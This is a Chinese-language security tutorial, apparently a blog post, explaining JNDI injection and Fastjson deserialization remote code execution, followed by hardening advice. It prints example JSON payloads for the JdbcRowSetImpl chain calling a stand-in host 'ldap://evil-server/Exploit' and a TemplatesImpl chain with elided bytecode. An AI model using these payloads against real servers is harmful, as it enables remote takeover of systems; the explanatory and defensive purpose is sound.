Java安全:理解JNDI注入与Fastjson反序列化漏洞

文章目录

    • 概述
    • [一、JNDI 注入的基本原理](#一、JNDI 注入的基本原理)
      • [1.1 JNDI 是什么](#1.1 JNDI 是什么)
      • [1.2 LDAP 和 RMI 的角色](#1.2 LDAP 和 RMI 的角色)
      • [1.3 完整攻击流程](#1.3 完整攻击流程)
    • [二、Fastjson 反序列化漏洞](#二、Fastjson 反序列化漏洞)
      • [2.1 Fastjson 的 AutoType 机制](#2.1 Fastjson 的 AutoType 机制)
      • [2.2 攻击过程](#2.2 攻击过程)
      • [2.3 经典攻击链](#2.3 经典攻击链)
        • [JdbcRowSetImpl + JNDI 注入](#JdbcRowSetImpl + JNDI 注入)
        • [TemplatesImpl + 字节码执行](#TemplatesImpl + 字节码执行)
    • [三、Fastjson 版本演进与攻防对抗](#三、Fastjson 版本演进与攻防对抗)
    • 四、如何防御
      • [4.1 升级到安全版本](#4.1 升级到安全版本)
      • [4.2 配置加固](#4.2 配置加固)
      • [4.3 JNDI 相关防护](#4.3 JNDI 相关防护)
      • [4.4 架构层防护](#4.4 架构层防护)
      • [4.5 代码层面的好习惯](#4.5 代码层面的好习惯)
    • 五、总结

概述

在 Java 应用安全领域,有两个经典且影响深远的漏洞:JNDI 注入和 Fastjson 反序列化。这两个漏洞都能导致远程代码执行(RCE),让攻击者完全控制服务器。本文将从原理出发,逐步解析这些漏洞是如何工作的,以及我们该如何防御。

一、JNDI 注入的基本原理

1.1 JNDI 是什么

JNDI(Java Naming and Directory Interface)是 Java 提供的一套标准 API,用于查找各种命名和目录服务。简单说,就是用一个名字去找到对应的对象。比如,我们可以通过 JNDI 找到数据库连接池。

JNDI 的核心就是 lookup 方法,像这样:

java 复制代码
Context ctx = new InitialContext();
Object obj = ctx.lookup("someName");

问题在于,如果 lookup 的参数来自用户输入,而这个输入是一个远程地址,那就危险了。

1.2 LDAP 和 RMI 的角色

JNDI 支持多种服务,常见的有 LDAP 和 RMI:

  • LDAP:轻量级目录访问协议,用于存储树形结构的数据
  • RMI:Java 远程方法调用,允许调用远程 JVM 上的对象

当 JNDI 访问这些服务时,如果服务返回了特定类型的对象,Java 会尝试加载和实例化它们,甚至从远程下载类文件。

1.3 完整攻击流程

典型的 JNDI 注入攻击是这样的:

  1. 攻击者准备:启动一个恶意 LDAP 服务器
  2. 构造恶意输入:把 ldap://evil-server/Exploit 这样的地址传给应用
  3. 应用 lookup:应用调用 InitialContext.lookup() 访问这个地址
  4. 加载恶意类:Java 从攻击者的服务器下载 Evil.class
  5. 执行代码:恶意类的静态代码块或构造函数执行系统命令

早期 JDK(8u121 之前)默认允许远程加载类,所以攻击很容易。后来 Oracle 逐步收紧限制,但只要能找到本地存在的危险类,仍然可以利用。

二、Fastjson 反序列化漏洞

2.1 Fastjson 的 AutoType 机制

Fastjson 是一个 JSON 解析库,性能很好。它有个特性叫 AutoType,允许在 JSON 里用 @type 指定要反序列化的类:

json 复制代码
{"@type":"com.example.User","name":"test"}

这本来是方便的功能,但如果 @type 的值可以被攻击者控制,就会出问题。

2.2 攻击过程

Fastjson 反序列化时会做这些事:

  1. 读取 @type 字段得到类名
  2. 用反射实例化这个类
  3. 调用 setter 方法设置 JSON 里的属性
  4. 有时还会调用 getter 方法

攻击者就是利用这个过程,找那些有危险 setter 或 getter 的类。

2.3 经典攻击链

JdbcRowSetImpl + JNDI 注入

com.sun.rowset.JdbcRowSetImpl 是 JDK 自带的类,它有个 setDataSourceName() 方法,会调用 JNDI lookup。

攻击者构造这样的 JSON:

json 复制代码
{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://evil-server/Exploit",
  "autoCommit": true
}

当 Fastjson 反序列化时:

  • 先创建 JdbcRowSetImpl 对象
  • 调用 setDataSourceName 设置地址
  • 调用 setAutoCommit 时触发连接,进而触发 JNDI lookup
  • 接着就和前面的 JNDI 注入一样了

这适用于 Fastjson 1.2.24 之前的版本。

TemplatesImpl + 字节码执行

后来 Fastjson 加了黑名单,但 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 没被加进去。

这个类可以加载字节码并执行。攻击者把恶意类编译后的字节码 Base64 编码,放到 _bytecodes 字段里:

json 复制代码
{
  "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes": ["yv66vgAA...恶意字节码..."],
  "_name": "Test",
  "_outputProperties": {}
}

这样就不需要远程下载类了,直接在本地执行恶意字节码。

三、Fastjson 版本演进与攻防对抗

Fastjson 的历史就是一场攻防对抗:

版本阶段 防护措施 绕过方法
≤1.2.24 几乎无防护 JdbcRowSetImpl 直接攻击
1.2.25-1.2.47 黑名单 TemplatesImpl 绕过
1.2.48-1.2.68 扩大黑名单 LazyMap 等绕过
≥1.2.80 默认关闭 AutoType 白名单配置不当漏洞
2.0.29+ 重构安全机制 新型绕过已修复

每一次官方修复,攻击者都能找到新的方法绕过,直到后来默认关闭了 AutoType。

四、如何防御

4.1 升级到安全版本

这是最简单有效的方法:

  • Fastjson 1.x:至少升级到 1.2.83
  • Fastjson 2.x:至少升级到 2.0.29
  • 最好的选择:直接用 Fastjson2,安全架构重新设计过

4.2 配置加固

1.x 版本:

java 复制代码
// 全局关闭 AutoType,这是核心
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// 如果必须用,只开放业务需要的类
ParserConfig.getGlobalInstance().addAccept("com.company.model.User");
ParserConfig.getGlobalInstance().addAccept("com.company.model.Order");

2.x 版本:

默认就是安全的,保持默认设置就行。

4.3 JNDI 相关防护

JDK 8u191+ 已经有默认防护,但可以再加一层:

java 复制代码
// 启动参数
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
-Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false

4.4 架构层防护

  • 网关过滤 :把 JSON 里的 @type 字段直接去掉
  • 替换序列化库:用 Jackson 或 Gson,它们默认不支持动态类型
  • 监控告警:发现有人用 JdbcRowSetImpl、TemplatesImpl 这些类就告警
  • 权限限制:容器里的应用别给太高权限,即使被攻破也干不了太多坏事

4.5 代码层面的好习惯

反序列化时,显式指定类型:

java 复制代码
// 好的做法:指定类型
User user = JSON.parseObject(json, User.class);

// 危险的做法:用 Object 接收
Object obj = JSON.parseObject(json); // 别这样!

五、总结

核心要点

  1. JNDI 注入:信任了不可信的 lookup 参数,导致加载恶意类
  2. Fastjson 漏洞:AutoType 机制允许加载任意类,结合危险类的方法执行代码
  3. 最佳防御:升级版本 + 关闭 AutoType + 显式指定类型

学习建议

理解这些漏洞的原理很重要,但更重要的是记住:

  • 不要信任外部输入
  • 最小权限原则
  • 及时更新依赖库

安全是一个持续的过程,没有一劳永逸的解决方案。


⚠️ 本文仅用于安全学习,请勿在未授权系统上尝试任何攻击!

相关推荐
大圣编程5 小时前
Java 多维数组详解
java·开发语言
ylscode7 小时前
OpenSSH 10.4 正式发布:后量子加密落地,多项高危漏洞得到修复
网络·安全·网络安全
万法若空7 小时前
【算法-查找】查找算法
java·数据结构·算法
DianSan_ERP7 小时前
电商架构演进:如何在高并发场景下实现多平台API的标准化履约?
运维·前端·网络·安全·架构·自动化
搭贝9 小时前
低代码平台构建EHS环境健康安全管理系统:从隐患排查到合规审计的全流程实操指南
安全·低代码
HZZD_HZZD9 小时前
DL/T 645-2026新国标深度解读与智能电表协议适配实战:从帧结构变化到Java采集器升级的全链路改造方案
java·开发语言
山登绝顶我为峰 3(^v^)312 小时前
C/C++ 交叉编译方法
java·c语言·c++
一叶飘零_sweeeet12 小时前
Codex 与 Claude Code 深度拆解:两代 AI 编程智能体的技术本质与 Java 实战指南
java·ai·codex·claude code
Listen·Rain12 小时前
提示词和提示词模板
java·人工智能·spring boot